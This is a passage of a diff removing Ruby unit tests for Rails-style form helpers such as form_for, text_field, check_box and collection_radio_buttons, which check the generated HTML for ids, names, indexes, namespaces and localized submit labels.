-    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
-    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
-    assert_dom_equal(expected, week_field("post", "written_on"))
-  ensure
-    Time.zone = previous_time_zone
-  end
-
-  def test_url_field
-    expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
-    assert_dom_equal(expected, url_field("user", "homepage"))
-  end
-
-  def test_email_field
-    expected = %{<input id="user_address" name="user[address]" type="email" />}
-    assert_dom_equal(expected, email_field("user", "address"))
-  end
-
-  def test_number_field
-    expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
-    assert_dom_equal(expected, number_field("order", "quantity", in: 1...10))
-    expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
-    assert_dom_equal(expected, number_field("order", "quantity", size: 30, in: 1...10))
-  end
-
-  def test_range_input
-    expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
-    assert_dom_equal(expected, range_field("hifi", "volume", in: 0..11, step: 0.1))
-    expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
-    assert_dom_equal(expected, range_field("hifi", "volume", size: 30, in: 0..11, step: 0.1))
-  end
-
-  def test_explicit_name
-    assert_dom_equal(
-      '<input id="post_title" name="dont guess" type="text" value="Hello World" />',
-      text_field("post", "title", "name" => "dont guess")
-    )
-    assert_dom_equal(
-      %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "name" => "really!")
-    )
-    assert_dom_equal(
-      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
-      check_box("post", "secret", "name" => "i mean it")
-    )
-    assert_dom_equal(
-      text_field("post", "title", "name" => "dont guess"),
-      text_field("post", "title", name: "dont guess")
-    )
-    assert_dom_equal(
-      text_area("post", "body", "name" => "really!"),
-      text_area("post", "body", name: "really!")
-    )
-    assert_dom_equal(
-      check_box("post", "secret", "name" => "i mean it"),
-      check_box("post", "secret", name: "i mean it")
-    )
-  end
-
-  def test_explicit_id
-    assert_dom_equal(
-      '<input id="dont guess" name="post[title]" type="text" value="Hello World" />',
-      text_field("post", "title", "id" => "dont guess")
-    )
-    assert_dom_equal(
-      %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "id" => "really!")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "id" => "i mean it")
-    )
-    assert_dom_equal(
-      text_field("post", "title", "id" => "dont guess"),
-      text_field("post", "title", id: "dont guess")
-    )
-    assert_dom_equal(
-      text_area("post", "body", "id" => "really!"),
-      text_area("post", "body", id: "really!")
-    )
-    assert_dom_equal(
-      check_box("post", "secret", "id" => "i mean it"),
-      check_box("post", "secret", id: "i mean it")
-    )
-  end
-
-  def test_nil_id
-    assert_dom_equal(
-      '<input name="post[title]" type="text" value="Hello World" />',
-      text_field("post", "title", "id" => nil)
-    )
-    assert_dom_equal(
-      %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "id" => nil)
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "id" => nil)
-    )
-    assert_dom_equal(
-      '<input type="radio" name="post[secret]" value="0" />',
-      radio_button("post", "secret", "0", "id" => nil)
-    )
-    assert_dom_equal(
-      '<select name="post[secret]"></select>',
-      select("post", "secret", [], {}, "id" => nil)
-    )
-    assert_dom_equal(
-      text_field("post", "title", "id" => nil),
-      text_field("post", "title", id: nil)
-    )
-    assert_dom_equal(
-      text_area("post", "body", "id" => nil),
-      text_area("post", "body", id: nil)
-    )
-    assert_dom_equal(
-      check_box("post", "secret", "id" => nil),
-      check_box("post", "secret", id: nil)
-    )
-    assert_dom_equal(
-      radio_button("post", "secret", "0", "id" => nil),
-      radio_button("post", "secret", "0", id: nil)
-    )
-  end
-
-  def test_index
-    assert_dom_equal(
-      '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
-      text_field("post", "title", "index" => 5)
-    )
-    assert_dom_equal(
-      %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "index" => 5)
-    )
-    assert_dom_equal(
-      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
-      check_box("post", "secret", "index" => 5)
-    )
-    assert_dom_equal(
-      text_field("post", "title", "index" => 5),
-      text_field("post", "title", "index" => 5)
-    )
-    assert_dom_equal(
-      text_area("post", "body", "index" => 5),
-      text_area("post", "body", "index" => 5)
-    )
-    assert_dom_equal(
-      check_box("post", "secret", "index" => 5),
-      check_box("post", "secret", "index" => 5)
-    )
-  end
-
-  def test_index_with_nil_id
-    assert_dom_equal(
-      '<input name="post[5][title]" type="text" value="Hello World" />',
-      text_field("post", "title", "index" => 5, 'id' => nil)
-    )
-    assert_dom_equal(
-      %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", "index" => 5, 'id' => nil)
-    )
-    assert_dom_equal(
-      '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "index" => 5, 'id' => nil)
-    )
-    assert_dom_equal(
-      text_field("post", "title", "index" => 5, 'id' => nil),
-      text_field("post", "title", index: 5, id: nil)
-    )
-    assert_dom_equal(
-      text_area("post", "body", "index" => 5, 'id' => nil),
-      text_area("post", "body", index: 5, id: nil)
-    )
-    assert_dom_equal(
-      check_box("post", "secret", "index" => 5, 'id' => nil),
-      check_box("post", "secret", index: 5, id: nil)
-    )
-  end
-
-  def test_auto_index
-    pid = 123
-    assert_dom_equal(
-      %{<label for="post_#{pid}_title">Title</label>},
-      label("post[]", "title")
-    )
-    assert_dom_equal(
-      %{<input id="post_#{pid}_title" name="post[#{pid}][title]" type="text" value="Hello World" />},
-      text_field("post[]","title")
-    )
-    assert_dom_equal(
-      %{<textarea id="post_#{pid}_body" name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post[]", "body")
-    )
-    assert_dom_equal(
-      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
-      check_box("post[]", "secret")
-    )
-   assert_dom_equal(
-      %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
-      radio_button("post[]", "title", "Hello World")
-    )
-    assert_dom_equal(
-      %{<input id="post_#{pid}_title_goodbye_world" name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
-      radio_button("post[]", "title", "Goodbye World")
-    )
-  end
-
-  def test_auto_index_with_nil_id
-    pid = 123
-    assert_dom_equal(
-      %{<input name="post[#{pid}][title]" type="text" value="Hello World" />},
-      text_field("post[]", "title", id: nil)
-    )
-    assert_dom_equal(
-      %{<textarea name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post[]", "body", id: nil)
-    )
-    assert_dom_equal(
-      %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
-      check_box("post[]", "secret", id: nil)
-    )
-   assert_dom_equal(
-     %{<input checked="checked" name="post[#{pid}][title]" type="radio" value="Hello World" />},
-      radio_button("post[]", "title", "Hello World", id: nil)
-    )
-    assert_dom_equal(
-      %{<input name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
-      radio_button("post[]", "title", "Goodbye World", id: nil)
-    )
-  end
-
-  def test_form_for_requires_block
-    assert_raises(ArgumentError) do
-      form_for(:post, @post, html: { id: 'create-post' })
-    end
-  end
-
-  def test_form_for_requires_arguments
-    error = assert_raises(ArgumentError) do
-      form_for(nil, html: { id: 'create-post' }) do
-      end
-    end
-    assert_equal "First argument in form cannot contain nil or be empty", error.message
-
-    error = assert_raises(ArgumentError) do
-      form_for([nil, nil], html: { id: 'create-post' }) do
-      end
-    end
-    assert_equal "First argument in form cannot contain nil or be empty", error.message
-  end
-
-  def test_form_for
-    form_for(@post, html: { id: 'create-post' }) do |f|
-      concat f.label(:title) { "The Title" }
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-      concat f.submit('Create post')
-      concat f.button('Create post')
-      concat f.button {
-        concat content_tag(:span, 'Create post')
-      }
-    end
-
-    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
-      "<label for='post_title'>The Title</label>" +
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='commit' type='submit' value='Create post' />" +
-      "<button name='button' type='submit'>Create post</button>" +
-      "<button name='button' type='submit'><span>Create post</span></button>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_collection_radio_buttons
-    post = Post.new
-    def post.active; false; end
-    form_for(post) do |f|
-      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
-    end
-
-    expected = whole_form("/posts", "new_post", "new_post") do
-      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
-      "<label for='post_active_true'>true</label>" +
-      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
-      "<label for='post_active_false'>false</label>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_collection_radio_buttons_with_custom_builder_block
-    post = Post.new
-    def post.active; false; end
-
-    form_for(post) do |f|
-      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
-        b.label { b.radio_button + b.text }
-      end
-      concat rendered_radio_buttons
-    end
-
-    expected = whole_form("/posts", "new_post", "new_post") do
-      "<label for='post_active_true'>"+
-      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
-      "true</label>" +
-      "<label for='post_active_false'>"+
-      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
-      "false</label>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
-    post = Post.new
-    def post.active; false; end
-    def post.id; 1; end
-
-    form_for(post) do |f|
-      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
-        b.label { b.radio_button + b.text }
-      end
-      concat rendered_radio_buttons
-      concat f.hidden_field :id
-    end
-
-    expected = whole_form("/posts", "new_post_1", "new_post") do
-      "<label for='post_active_true'>"+
-      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
-      "true</label>" +
-      "<label for='post_active_false'>"+
-      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
-      "false</label>"+
-      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_with_namespace_and_with_collection_radio_buttons
-    post = Post.new
-    def post.active; false; end
-
-    form_for(post, namespace: 'foo') do |f|
-      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
-    end
-
-    expected = whole_form("/posts", "foo_new_post", "new_post") do
-      "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" +
-      "<label for='foo_post_active_true'>true</label>" +
-      "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" +
-      "<label for='foo_post_active_false'>false</label>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_collection_check_boxes
-    post = Post.new
-    def post.tag_ids; [1, 3]; end
-    collection = (1..3).map { |i| [i, "Tag #{i}"] }
-    form_for(post) do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
-    end
-
-    expected = whole_form("/posts", "new_post", "new_post") do
-      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
-      "<label for='post_tag_ids_1'>Tag 1</label>" +
-      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
-      "<label for='post_tag_ids_2'>Tag 2</label>" +
-      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
-      "<label for='post_tag_ids_3'>Tag 3</label>" +
-      "<input name='post[tag_ids][]' type='hidden' value='' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_collection_check_boxes_with_custom_builder_block
-    post = Post.new
-    def post.tag_ids; [1, 3]; end
-    collection = (1..3).map { |i| [i, "Tag #{i}"] }
-    form_for(post) do |f|
-      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
-        b.label { b.check_box + b.text }
-      end
-      concat rendered_check_boxes
-    end
-
-    expected = whole_form("/posts", "new_post", "new_post") do
-      "<label for='post_tag_ids_1'>" +
-      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
-      "Tag 1</label>" +
-      "<label for='post_tag_ids_2'>" +
-      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
-      "Tag 2</label>" +
-      "<label for='post_tag_ids_3'>" +
-      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
-      "Tag 3</label>" +
-      "<input name='post[tag_ids][]' type='hidden' value='' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
-    post = Post.new
-    def post.tag_ids; [1, 3]; end
-    def post.id; 1; end
-    collection = (1..3).map { |i| [i, "Tag #{i}"] }
-
-    form_for(post) do |f|
-      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
-        b.label { b.check_box + b.text }
-      end
-      concat rendered_check_boxes
-      concat f.hidden_field :id
-    end
-
-    expected = whole_form("/posts", "new_post_1", "new_post") do
-      "<label for='post_tag_ids_1'>" +
-      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
-      "Tag 1</label>" +
-      "<label for='post_tag_ids_2'>" +
-      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
-      "Tag 2</label>" +
-      "<label for='post_tag_ids_3'>" +
-      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
-      "Tag 3</label>" +
-      "<input name='post[tag_ids][]' type='hidden' value='' />"+
-      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_with_namespace_and_with_collection_check_boxes
-    post = Post.new
-    def post.tag_ids; [1]; end
-    collection = [[1, "Tag 1"]]
-
-    form_for(post, namespace: 'foo') do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
-    end
-
-    expected = whole_form("/posts", "foo_new_post", "new_post") do
-      "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
-      "<label for='foo_post_tag_ids_1'>Tag 1</label>" +
-      "<input name='post[tag_ids][]' type='hidden' value='' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_file_field_generate_multipart
-    Post.send :attr_accessor, :file
-
-    form_for(@post, html: { id: 'create-post' }) do |f|
-      concat f.file_field(:file)
-    end
-
-    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
-      "<input name='post[file]' type='file' id='post_file' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_file_field_generate_multipart
-    Comment.send :attr_accessor, :file
-
-    form_for(@post) do |f|
-      concat f.fields_for(:comment, @post) { |c|
-        concat c.file_field(:file)
-      }
-    end
-
-    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch", multipart: true) do
-      "<input name='post[comment][file]' type='file' id='post_comment_file' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_format
-    form_for(@post, format: :json, html: { id: "edit_post_123", class: "edit_post" }) do |f|
-      concat f.label(:title)
-    end
-
-    expected = whole_form("/posts/123.json", "edit_post_123", "edit_post", method: 'patch') do
-      "<label for='post_title'>Title</label>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_model_using_relative_model_naming
-    blog_post = Blog::Post.new("And his name will be forty and four.", 44)
-
-    form_for(blog_post) do |f|
-      concat f.text_field :title
-      concat f.submit('Edit post')
-    end
-
-    expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do
-      "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" +
-      "<input name='commit' type='submit' value='Edit post' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_symbol_object_name
-    form_for(@post, as: "other_name", html: { id: "create-post" }) do |f|
-      concat f.label(:title, class: 'post_title')
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-      concat f.submit('Create post')
-    end
-
-    expected =  whole_form("/posts/123", "create-post", "edit_other_name", method: "patch") do
-      "<label for='other_name_title' class='post_title'>Title</label>" +
-      "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" +
-      "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='other_name[secret]' value='0' type='hidden' />" +
-      "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" +
-      "<input name='commit' value='Create post' type='submit' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_method_as_part_of_html_options
-    form_for(@post, url: '/', html: { id: 'create-post', method: :delete }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =  whole_form("/", "create-post", "edit_post", method: "delete") do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_method
-    form_for(@post, url: '/', method: :delete, html: { id: 'create-post' }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =  whole_form("/", "create-post", "edit_post", method: "delete") do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_search_field
-    # Test case for bug which would emit an "object" attribute
-    # when used with form_for using a search_field form helper
-    form_for(Post.new, url: "/search", html: { id: "search-post", method: :get }) do |f|
-      concat f.search_field(:title)
-    end
-
-    expected =  whole_form("/search", "search-post", "new_post", method: "get") do
-      "<input name='post[title]' type='search' id='post_title' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_remote
-    form_for(@post, url: '/', remote: true, html: { id: 'create-post', method: :patch }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =  whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_remote_in_html
-    form_for(@post, url: '/', html: { remote: true, id: 'create-post', method: :patch }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =  whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_remote_without_html
-    @post.persisted = false
-    @post.stubs(:to_key).returns(nil)
-    form_for(@post, remote: true) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =  whole_form("/posts", "new_post", "new_post", remote: true) do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_without_object
-    form_for(:post, html: { id: 'create-post' }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form("/", "create-post") do
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_index
-    form_for(@post, as: "post[]") do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
-      "<label for='post_123_title'>Title</label>" +
-      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' type='hidden' value='0' />" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_nil_index_option_override
-    form_for(@post, as: "post[]", index: nil) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
-      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' type='hidden' value='0' />" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_label_error_wrapping
-    form_for(@post) do |f|
-      concat f.label(:author_name, class: 'label')
-      concat f.text_field(:author_name)
-      concat f.submit('Create post')
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
-      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
-      "<input name='commit' type='submit' value='Create post' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_label_error_wrapping_without_conventional_instance_variable
-    post = remove_instance_variable :@post
-
-    form_for(post) do |f|
-      concat f.label(:author_name, class: 'label')
-      concat f.text_field(:author_name)
-      concat f.submit('Create post')
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
-      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
-      "<input name='commit' type='submit' value='Create post' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_label_error_wrapping_block_and_non_block_versions
-    form_for(@post) do |f|
-      concat f.label(:author_name, 'Name', class: 'label')
-      concat f.label(:author_name, class: 'label') { 'Name' }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" +
-      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_namespace
-    form_for(@post, namespace: 'namespace') do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_namespace_with_date_select
-    form_for(@post, namespace: 'namespace') do |f|
-      concat f.date_select(:written_on)
-    end
-
-    assert_select 'select#namespace_post_written_on_1i'
-  end
-
-  def test_form_for_with_namespace_with_label
-    form_for(@post, namespace: 'namespace') do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
-      "<label for='namespace_post_title'>Title</label>" +
-      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_two_form_for_with_namespace
-    form_for(@post, namespace: 'namespace_1') do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', method: 'patch') do
-      "<label for='namespace_1_post_title'>Title</label>" +
-      "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected_1, output_buffer
-
-    form_for(@post, namespace: 'namespace_2') do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', method: 'patch') do
-      "<label for='namespace_2_post_title'>Title</label>" +
-      "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected_2, output_buffer
-  end
-
-  def test_fields_for_with_namespace
-    @comment.body = 'Hello World'
-    form_for(@post, namespace: 'namespace') do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.fields_for(@comment) { |c|
-        concat c.text_field(:body)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_submit_with_object_as_new_record_and_locale_strings
-    old_locale, I18n.locale = I18n.locale, :submit
-
-    @post.persisted = false
-    @post.stubs(:to_key).returns(nil)
-    form_for(@post) do |f|
-      concat f.submit
-    end
-
-    expected = whole_form('/posts', 'new_post', 'new_post') do
-      "<input name='commit' type='submit' value='Create Post' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_submit_with_object_as_existing_record_and_locale_strings
-    old_locale, I18n.locale = I18n.locale, :submit
-
-    form_for(@post) do |f|
-      concat f.submit
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='commit' type='submit' value='Confirm Post changes' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_submit_without_object_and_locale_strings
-    old_locale, I18n.locale = I18n.locale, :submit
-
-    form_for(:post) do |f|
-      concat f.submit class: "extra"
-    end
-
-    expected = whole_form do
-      "<input name='commit' class='extra' type='submit' value='Save changes' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_submit_with_object_and_nested_lookup
-    old_locale, I18n.locale = I18n.locale, :submit
-
-    form_for(@post, as: :another_post) do |f|
-      concat f.submit
-    end
-
-    expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
-      "<input name='commit' type='submit' value='Update your Post' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_nested_fields_for
-    @comment.body = 'Hello World'
-    form_for(@post) do |f|
-      concat f.fields_for(@comment) { |c|
-        concat c.text_field(:body)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
